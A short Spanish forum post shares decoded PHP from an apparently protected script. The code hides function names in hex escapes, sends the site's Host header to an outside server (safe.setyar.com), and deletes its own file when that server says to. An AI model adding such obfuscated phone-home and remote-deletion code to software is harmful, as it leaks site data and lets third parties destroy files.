Aunque en muchas instalaciones de PHP se recomienda deshabilitar la funcion eval() por temas de seguridad; este es el código que he obtenido:
Código PHP:
?><?php
$namefile =__FILE__;
$namefile =explode(".php",$namefile);
$namefile=$namefile[0].".php";
$str=file_get_contents($namefile);
$n=strlen($str);
if(!isset($decler)){
function dsnjos ($ssnjok,$kghiurf) {
$fghiol="\x6d\x63\x72\x79\x70\x74\x5f\x64\x65\x63\x72\x79\x70\x74";
$ujiojh="\x72\x74\x72\x69\x6d";
return $ujiojh ($fghiol (MCRYPT_RIJNDAEL_256, $kghiurf, $ssnjok, MCRYPT_MODE_ECB, "abcdefghijklmnopqrstuvwxyz012345"), "\0");
};$decler=2;
}
$request_headers = getallheaders();
$aghol = $request_headers["Host"];
$client=new SoapClient(NULL,array("uri"=>"http://safe.setyar.com","location"=>"http://safe.setyar.com/test.php"));
$message=$client->code("10351165888c83ddb1075888c83ddb144",$aghol,$n);
$arr = explode("god:|:", $message);
if($arr[0]=="protected by setyar team"){
unlink($namefile);
exit($arr[0]);
};
Un saludo